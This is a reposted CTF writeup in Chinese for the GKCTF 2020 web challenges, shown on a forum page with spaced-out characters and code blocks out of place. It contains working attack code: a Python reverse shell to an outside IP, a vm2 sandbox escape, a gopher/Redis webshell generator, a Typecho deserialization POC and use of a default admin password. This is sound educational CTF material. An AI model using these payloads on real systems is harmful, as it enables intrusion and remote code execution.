搜索

[20327] 2020-06-12_GKCTF-官方WriteUp首发(WEB)

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2020-06-12_GKCTF-官方WriteUp首发(WEB) G K C T F - 官 方 W r i t e U p 首 发 ( W E B ) K h a n 安 全 攻 防 实 验 室   2 0 2 0 - 0 6 - 1 2 以 下 文 章 来 源 于 B u g F o r 安 全 团 队   ， 作 者 B U G F O R W r i t e t u p 集 合 集 合 G K C T F - 官 方 W r i t e U p   ( M I S C + C R Y P T O ) G K C T F - 官 方 W r i t e U p   ( P W N + R E ) w e b 题 目 题 目 1 .   C h e c k I n 2 .   老 八 小 超 市 3 .   C V E 版 签 到 4 .   E z N o d e 5 .   E z W e b 6 .   E z T y p e c h o 7 .   N o d e - e x e 0 x 0 1   C h e c k I n 一 上 来 直 接 给 s h e l l ， 不 过 这 里 有 些 师 傅 在 群 里 说 连 不 上 蚁 剑 ， 估 计 是 编 码 器 没 弄 好 师 傅 们 可 以 自 己 建 一 个 ：                           连 的 时 候 选 一 下 就 好 了 B u g F o r 安 全 团 队 安 全 团 队   . B u g F o r   安 全 团 队 致 力 打 造 高 质 量 全 球 互 联 网 安 全 媒 体 和 技 术 社 区 平 台 ， 互 联 网 安 全 爱 好 者 们 交 流 与 分 享 安 全 技 术 的 社 区 平 台 ， 推 动 国 家 网 络 安 全 进 步 ！
                          连 上 s h e l l 之 后 发 现 有 d i s a b l e d _ f u n c t i o n ， 以 及 / r e a d f l a g                           p h p 版 本 为 7 . 3                           直 接 g i t h u b 上 有 现 成 的 e x p 即 可 ： h t t p s : / / g i t h u b . c o m / m m 0 r 1 / e x p l o i t s / b l o b / m a s t e r / p h p 7 - g c - b y p a s s / e x p l o i t . p h p 上 传 到 / t m p 目 录                           在 进 行 包 含 即 可 ， ? G i n k g o = i n c l u d e ( ' / t m p / e x p . p h p ' ) ;
                          0 x 0 2   老 八 小 超 市 老 八 小 超 市 s h o p x o 的 模 板                         网 上 搜 一 下 即 可 得 知 后 台 默 认 密 码 为 s h o p x o a d m i n   s h o p x o 登 上 后 台                           可 以 参 考 一 下 这 篇 文 章     h t t p : / / w w w . n c t r y . c o m / 1 6 6 0 . h t m l 找 到 主 题 安 装 页 面
                          将 s h e l l 放 入 主 题 压 缩 包 一 起 上 传 即 可 g e t s h e l l                           在 根 目 录 下 看 到 f l a g 和 f l a g . h i n t 以 及 a u t o . s h                           告 诉 我 们 f l a g 在 / r o o t 下 ， 并 且 f l a g h i n t 中 的 时 间 每 隔 一 分 钟 会 变 化 ， 猜 测 是 有 类 似 c r o n t a b 的 东 西 ， ( 其 实 一 开 始 是 没 有 这 个 a u t o . s h 的 ， 但 是 c r o n t a b 在 这 上 面 死 活 不 成 功 ， 只 好 加 了 个 s h )                           根 据 a u t o . s h 找 到 相 应 的 p y t h o n 文 件                                                       尝 试 直 接 执 行 会 返 回 P e r m i s s i o n   d e n i e d                           由 此 可 推 断 该 文 件 是 r o o t 用 户 起 的 ， 并 且 这 个 文 件 可 以 自 己 编 辑 ， 那 么 就 能 直 接 改 p y 文 件 提 权 了 ， 要 么 直 接 将 / r o o t / f l a g 写 到 根 目 录 ， 或 者 加 个 p y t h o n 反 弹 s h e l l 0 x 0 3   C V E 版 签 到 版 签 到 c v e - 2 0 2 0 - 7 0 6 6 ， s s r f h t t p s : / / s e c u r i t y - t r a c k e r . d e b i a n . o r g / t r a c k e r / C V E - 2 0 2 0 - 7 0 6 6 可 以 得 知 存 在 0 截 断 ? u r l = h t t p : / / 1 2 7 . 0 . 0 . 1 2 3 % 0 0 w w w . c t f h u b . c o m               i m p o r t   s o c k e t , s u b p r o c e s s , o s s = s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T , s o c k e t . S O C K _ S T R E A M ) s . c o n n e c t ( ( " 1 7 4 . 1 . 1 1 8 . 2 2 " , 2 3 3 3 ) ) o s . d u p 2 ( s . f i l e n o ( ) , 0 ) o s . d u p 2 ( s . f i l e n o ( ) , 1 ) o s . d u p 2 ( s . f i l e n o ( ) , 2 ) p = s u b p r o c e s s . c a l l ( [ " / b i n / s h " , " - i " ] )
          0 x 0 4   E z N o d e 考 点 ： N o d e j s 内 置 函 数 特 性 N o d e j s 库 漏 洞 搜 寻 首 先 读 源 码 N o d e j s 文 档 s e t T i m e o u t   当   d e l a y   大 于   2 1 4 7 4 8 3 6 4 7   或 小 于   1   时 ， 则   d e l a y   将 会 被 设 置 为   1 。 非 整 数 的   d e l a y   会 被 截 断 为 整 数 。     所 以 直 接 传 看 到 题 目 中 特 别 给 出 了 文 件 ， 查 看 使 用 依 赖 库 以 及 版 本 ， 对 其 中 比 较 核 心 的 感 到 怀 疑 ， 尝 试 搜 索 （ 在 g i t h u b   a d v i s o r 或 者 n p m   a d v i s o r 都 可 以 找 到 ） 然 后 找 到 了 这 个 利 用 很 简 单 ， 原 理 就 是 对 于 内 置 函 数 没 有 过 滤 完 全 ， 导 致 可 以 获 取 v m 外 的 上 下 文 中 的 对 象 ， 其 实 这 个 洞 在 里 也 刚 刚 出 现 ， 但 是 利 用 条 件 比 较 复 杂 ， 在 d o c k e r 里 复 现 概 率 不 高 ， 不 适 合 出 题 。 a p p . u s e ( ( r e q ,   r e s ,   n e x t )   = >   {     i f   ( r e q . p a t h   = = =   ' / e v a l ' )   {         l e t   d e l a y   =   6 0   *   1 0 0 0 ;         c o n s o l e . l o g ( d e l a y ) ;         i f   ( N u m b e r . i s I n t e g e r ( p a r s e I n t ( r e q . q u e r y . d e l a y ) ) )   {             d e l a y   =   M a t h . m a x ( d e l a y ,   p a r s e I n t ( r e q . q u e r y . d e l a y ) ) ;         }         c o n s t   t   =   s e t T i m e o u t ( ( )   = >   n e x t ( ) ,   d e l a y ) ;         / /   2 0 2 0 . 1 / W O R K E R 3   老 板 说 让 我 优 化 一 下 速 度 ， 我 就 直 接 这 样 写 了 ， 其 他 人 写 了 啥 关 我 p 事         s e t T i m e o u t ( ( )   = >   {             c l e a r T i m e o u t ( t ) ;             c o n s o l e . l o g ( ' t i m e o u t ' ) ;             t r y   {                 r e s . s e n d ( ' T i m e o u t ! ' ) ;             }   c a t c h   ( e )   {             }         } ,   1 0 0 0 ) ;     }   e l s e   {         n e x t ( ) ;     } } ) ; a p p . p o s t ( ' / e v a l ' ,   f u n c t i o n   ( r e q ,   r e s )   {     l e t   r e s p o n s e   =   ' ' ;     i f   ( r e q . b o d y . e )   {         t r y   {             r e s p o n s e   =   s a f e r E v a l ( r e q . b o d y . e ) ;         }   c a t c h   ( e )   {             r e s p o n s e   =   ' W r o n g   W r o n g   W r o n g ! ! ! ! ' ;         }     }     r e s . s e n d ( S t r i n g ( r e s p o n s e ) ) ; } ) ? d e l a y = 2 1 4 7 4 8 3 6 4 9 p a c k a g e . j s o n s a f e r - e v a l v m 2
v m 2 的 i s s u e 最 后 p a y l o a d 为   0 x 0 5   E z W e b 考 点 考 点 ： 内 网 探 测 s s r f + r e d i s 未 授 权 源 码 中 注 释 了 ? s e c r e t                           访 问 可 以 得 到 当 前 靶 机 的 i p                           看 到 有 不 少 师 傅 去 开 b u u 上 的 内 网 机 做 的 ， 这 里 实 际 上 是 一 个   w e b 服 务 器   和 一 个 r e d i s   服 务 器 组 成 的 一 个 内 网 ， 是 独 立 于 单 容 器 的 内 网 ， 并 且 自 动 组 网 ， 所 以 直 接 开 内 网 机 并 不 能 访 问 到 靶 机 。 直 接 用 s s r f 会 快 得 多 （ 当 时 出 题 没 考 虑 到 这 个 特 殊 性 ， 在 这 里 给 各 位 师 傅 们 谢 罪 . . . 逃 ）   通 过 内 网 探 测 可 以 发 现 . 1 1 上 开 着 w e b 服 务                           根 据 提 示 进 一 步 发 现 . 1 1 开 着 6 3 7 9 端 口                           然 后 可 以 利 用 g o p h e r : / / 协 议 写 s h e l l ， 可 以 用 如 下 脚 本 生 成 e x p i m p o r t   r e q u e s t s p r i n t ( r e q u e s t s . p o s t ( ' h t t p : / / l o c a l h o s t : 8 0 8 1 / e v a l ? d e l a y = 2 1 4 7 4 8 3 6 4 9 ' ,   d a t a = {         ' e ' :   " " " ( f u n c t i o n   ( )   {     c o n s t   p r o c e s s   =   c l e a r I m m e d i a t e . c o n s t r u c t o r ( " r e t u r n   p r o c e s s ; " ) ( ) ;     r e t u r n   p r o c e s s . m a i n M o d u l e . r e q u i r e ( " c h i l d _ p r o c e s s " ) . e x e c S y n c ( " c a t   / f l a g " ) . t o S t r i n g ( ) } ) ( ) " " "         } ) . t e x t ) i m p o r t   u r l l i b
                        打 过 去 再 次 访 问 . 1 1 / s h e l l . p h p 即 可                           0 x 0 6   E z T y p e c h o P H P _ S E S S I O N _ U P L O A D _ P R O G R E S S 、 t y p e c h o 1 . 1 反 序 列 化 首 先 找 到 i n s t a l l . p h p 的 反 序 列 化 处 ， 2 2 8 行 开 始                           这 里 设 置 了 一 个 检 测 是 否 有 $ _ S E S S I O N ， 但 是 题 目 没 有 使 用 s e s s i o n _ s t a r t ( ) ， 要 想 先 反 序 列 化 就 得 先 绕 过 这 个 检 测 ， 根 据 p h p 文 档 i m p o r t   u r l l i b p r o t o c o l = " g o p h e r : / / " i p = " 1 7 3 . 5 1 . 3 8 . 1 1 " p o r t = " 6 3 7 9 " s h e l l = " n n < ? p h p   s y s t e m ( " c a t   / f l a g " ) ; ? > n n " f i l e n a m e = " s h e l l . p h p " p a t h = " / v a r / w w w / h t m l " p a s s w d = " " c m d = [ " f l u s h a l l " ,           " s e t   1   { } " . f o r m a t ( s h e l l . r e p l a c e ( "   " , " $ { I F S } " ) ) ,           " c o n f i g   s e t   d i r   { } " . f o r m a t ( p a t h ) ,           " c o n f i g   s e t   d b f i l e n a m e   { } " . f o r m a t ( f i l e n a m e ) ,           " s a v e "           ] i f   p a s s w d :         c m d . i n s e r t ( 0 , " A U T H   { } " . f o r m a t ( p a s s w d ) ) p a y l o a d = p r o t o c o l + i p + " : " + p o r t + " / _ " d e f   r e d i s _ f o r m a t ( a r r ) :         C R L F = " r n "         r e d i s _ a r r   =   a r r . s p l i t ( "   " )         c m d = " "         c m d + = " * " + s t r ( l e n ( r e d i s _ a r r ) )         f o r   x   i n   r e d i s _ a r r :                 c m d + = C R L F + " $ " + s t r ( l e n ( ( x . r e p l a c e ( " $ { I F S } " , "   " ) ) ) ) + C R L F + x . r e p l a c e ( " $ { I F S } " , "   " )         c m d + = C R L F         r e t u r n   c m d i f   _ _ n a m e _ _ = = " _ _ m a i n _ _ " :         f o r   x   i n   c m d :                 p a y l o a d   + =   u r l l i b . q u o t e ( r e d i s _ f o r m a t ( x ) )         p r i n t   p a y l o a d
                          得 知 在 文 件 上 传 时 P O S T 一 个 与 P H P _ S E S S I O N _ U P L O A D _ P R O G R E S S 同 名 变 量 时 会 在 s e s s i o n 中 添 加 数 据 ， 从 而 绕 过 s e s s i o n 检 测 然 后 就 是 t y p e c h o 1 . 1 反 序 列 化 了 , 师 傅 们 可 以 去 网 上 搜 详 细 的 解 释 p o c : e x p :                           0 x 0 7   N o d e - E x e 此 题 为 一 道 e x e 文 件 的 w e b 题 ， 如 果 熟 悉 前 端 的 话 ， 不 难 得 知 这 是 一 个 e l e c t r o n 程 序 ， 之 后 的 思 路 便 比 较 明 确 了 。 即 使 不 知 道 ， 通 过 安 装 之 后 寻 找 源 文 件 ， 或 者 对 可 执 行 文 件 b i n w a l k ， 也 可 发 现 其 中 有 7 z i p 格 式 的 文 件 ， 可 以 解 压 缩 获 得 源 文 件 ， 故 此 过 程 不 再 赘 述 。 安 装 后 执 行 程 序 ， 填 写 靶 机 地 址 后 ， 用 户 名 密 码 为 a d m i n 直 接 进 入 。 < ? p h p c l a s s   T y p e c h o _ F e e d {         / / c o n s t   R S S 2   =   ' R S S   2 . 0 ' ;         p r i v a t e   $ _ t y p e ;         p r i v a t e   $ _ i t e m s   =   a r r a y ( ) ;         p u b l i c   f u n c t i o n   _ _ c o n s t r u c t ( ) {         / / 不 加 就 会 出 现 d a t a b a s e   e r r o r 5 0 0                 $ t h i s - > _ t y p e   =   ' R S S   2 . 0 ' ;                 $ i t e m [ ' a u t h o r ' ]   =   n e w   T y p e c h o _ R e q u e s t ( ) ;                 / / $ i t e m [ ' c a t e g o r y ' ]   =   a r r a y ( n e w   T y p e c h o _ R e q u e s t ( ) ) ;                 $ t h i s - > _ i t e m s [ 0 ]   =   $ i t e m ;         } } c l a s s   T y p e c h o _ R e q u e s t {         p r i v a t e   $ _ p a r a m s   =   a r r a y ( ) ;         p r i v a t e   $ _ f i l t e r   =   a r r a y ( ) ;         f u n c t i o n   _ _ c o n s t r u c t ( ) {                 $ t h i s - > _ p a r a m s [ " s c r e e n N a m e " ] = " c a t   / f l a g " ;                 $ t h i s - > _ f i l t e r [ 0 ] = " s y s t e m " ;         } } $ a   =   a r r a y ( " a d a p t e r "   = >     n e w   T y p e c h o _ F e e d ( ) , " p r e f i x "   = >   " t e s t " ) ; e c h o   b a s e 6 4 _ e n c o d e ( s e r i a l i z e ( $ a ) ) ; ? > i m p o r t   r e q u e s t s u r l = ' h t t p : / / 2 6 b 4 c 3 8 3 - d 6 a 2 - 4 1 b 8 - 8 e a 8 - 5 f 2 8 9 a 4 c 3 6 8 8 . n o d e 3 . b u u o j . c n / i n s t a l l . p h p ? f i n i s h = 1 ' f i l e s = { ' f i l e ' : 1 2 3 } h e a d e r s = {         # 运 行 p o c 替 换 _ _ t y p e c h o _ c o n f i g         ' c o o k i e ' : ' P H P S E S S I D = t e s t ; _ _ t y p e c h o _ c o n f i g = Y T o y O n t z O j c 6 I m F k Y X B 0 Z X I i O 0 8 6 M T I 6 I l R 5 c G V j a G 9 f R m V l Z C I 6 M j p 7 c z o x O T o i A F R 5 c G V j a G 9 f R m V l Z A B f d H l w Z S I 7 c z o 3 O i J S U 1 M g M i 4 w I j t z O j I w O i I A V H l w Z W N o b 1 9 G Z W V k A F 9 p d G V t c y I 7 Y T o x O n t p O j A 7 Y T o x O n t z O j Y 6 I m F 1 d G h v c i I 7 T z o x N T o i V H l w Z W N o b 1 9 S Z X F 1 Z X N 0 I j o y O n t z O j I 0 O i I A V H l w Z W N o b 1 9 S Z X F 1 Z X N 0 A F 9 w Y X J h b X M i O 2 E 6 M T p 7 c z o x M D o i c 2 N y Z W V u T m F t Z S I 7 c z o 5 O i J j Y X Q g L 2 Z s Y W c i O 3 1 z O j I 0 O i I A V H l w Z W N o b 1 9 S Z X F 1 Z X N 0 A F 9 m a W x 0 Z X I i O 2 E 6 M T p 7 a T o w O 3 M 6 N j o i c 3 l z d G V t I j t 9 f X 1 9 f X M 6 N j o i c H J l Z m l 4 I j t z O j Q 6 I n R l c 3 Q i O 3 0 = ' ,         ' R e f e r e r ' : ' h t t p : / / 2 6 b 4 c 3 8 3 - d 6 a 2 - 4 1 b 8 - 8 e a 8 - 5 f 2 8 9 a 4 c 3 6 8 8 . n o d e 3 . b u u o j . c n / i n s t a l l . p h p ' } r e = r e q u e s t s . p o s t ( u r l , f i l e s = f i l e s , h e a d e r s = h e a d e r s , d a t a = { " P H P _ S E S S I O N _ U P L O A D _ P R O G R E S S " :   " 1 2 3 4 5 6 7 8 9 " } ) p r i n t ( r e . t e x t )
                          点 击 购 买 后 ， 两 个 按 钮 都 是 没 有 用 的 假 f l a g ， 故 题 目 f l a g 一 定 是 无 法 购 买 的 无 法 购 买 的 f i n a l   f l a g 。 通 过 抓 包 发 现 ， 请 求 除 了 包 含 基 本 的 请 求 体 ， 还 有 一 个 t o k e n 。 每 次 t o k e n 请 求 均 不 同 ， 且 更 改 请 求 体 后 t o k e n 失 效 ， 请 求 也 无 法 重 放 ， 所 以 推 断 出 t o k e n 必 然 是 以 一 定 规 则 在 本 地 生 成 的 。 找 到 程 序 所 在 目 录 ， 确 认 程 序 为 e l e c t r o n 程 序 后 ， 不 难 得 知 网 页 文 件 均 打 包 于 . r e s o u r c e s a p p . a s a r 下 。 用 n o d e 的 a s a r 工 具 解 包 ： 便 可 得 到 w e b p a c k 网 站 的 源 文 件 ， 查 看 p a c k a g e . j s o n ， 发 现 页 面 是 基 于 v u e 构 建 的 ， 同 时 也 发 现 了 库 c r y p t o 和 j s - m d 5 。 所 以 即 使 j s 源 文 件 被 w e b p a c k ， 也 可 以 通 过 搜 索 m e t h o d s 关 键 词 找 到 t o k e n 生 成 函 数 的 位 置 ， 同 时 推 测 t o k e n 加 密 使 用 了 m d 5 和 另 一 种 加 密 方 式 。                         此 处 的 m e t h o d s 中 包 含 了 “ e n c r y p t ” ， “ m a k e T o k e n ” 等 关 键 词 ， 定 位 到 此 处 应 为 t o k e n 生 成 位 置 ， 单 独 提 出 对 代 码 进 行 格 式 化 ， 得 到 加 密 函 数 ： a s a r   e x t r a c t   . / a p p . a s a r   . / e x t /
                          不 难 看 出 ， 加 密 使 用 了 a e s 加 密 ， 转 到 调 用 函 数 寻 找 k e y 和 i v 可 以 得 知 加 密 使 用 的 k e y 和 i v ， 但 传 入 加 密 函 数 的 并 非 传 入 生 成 函 数 的 参 数 e ， 而 是 经 过 f 和 n 函 数 处 理 得 到 的 结 果 o ， 所 以 依 然 需 要 寻 找 函 数 f 和 函 数 n 。 但 此 时 已 经 可 以 根 据 获 得 的 k e y 和 i v 对 t o k e n 进 行 初 步 解 密 了 。 解 密 后 是 一 串 长 度 为 3 2 的 字 符 ， 基 本 可 以 推 断 这 是 一 些 信 息 的 m d 5 加 密 结 果 。 回 到 r e n d e r e r . j s , 格 式 化 整 个 文 档 后 ， m o d u l e 结 构 如 下 ： 这 一 格 式 为 j s 的 I I F E 函 数 ， 这 种 函 数 在 定 义 处 便 执 行 ， 其 中 的 变 量 不 可 从 外 部 访 问 。 我 们 从 他 的 定 义 函 数 中 寻 找 未 知 的 函 数 n               m a k e T o k e n :   f u n c t i o n   ( e )   {                 v a r   i   =   t h i s ;                 r e t u r n   c ( ) ( a . a . m a r k ( ( f u n c t i o n   t ( )   {                         v a r   o ,   r ;                         r e t u r n   a . a . w r a p ( ( f u n c t i o n   ( t )   {                                 f o r   ( ; ; )   s w i t c h   ( t . p r e v   =   t . n e x t )   {                                         c a s e   0 :                                                 r e t u r n   " 3 1 1 6 9 f e d c 9 a 2 0 e c f " ,   " d 9 6 a d e e f a a 0 1 0 2 a 9 " ,   o   =   f ( ) ( n ( ) ( e ) ) ,   t . n e x t   =   5 ,   i . e n c r y p t ( " 3 1 1 6 9 f e d c 9 a 2 0 e c f " ,   " d 9 6 a d e e f a a 0 1 0 2 a 9 " ,   o ) ;                                         c a s e   5 :                                                 r e t u r n   r   =   t . s e n t ,   t . a b r u p t ( " r e t u r n " ,   r ) ;                                         c a s e   7 :                                         c a s e   " e n d " :                                                 r e t u r n   t . s t o p ( )                                 }                         } ) ,   t ,   i )                 } ) ) ) ( )         } , m o d u l e . e x p o r t s   =   f u n c t i o n ( e ) { . . . } ( [ f u n c t i o n ( e ) { } . . . ] ) ;
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理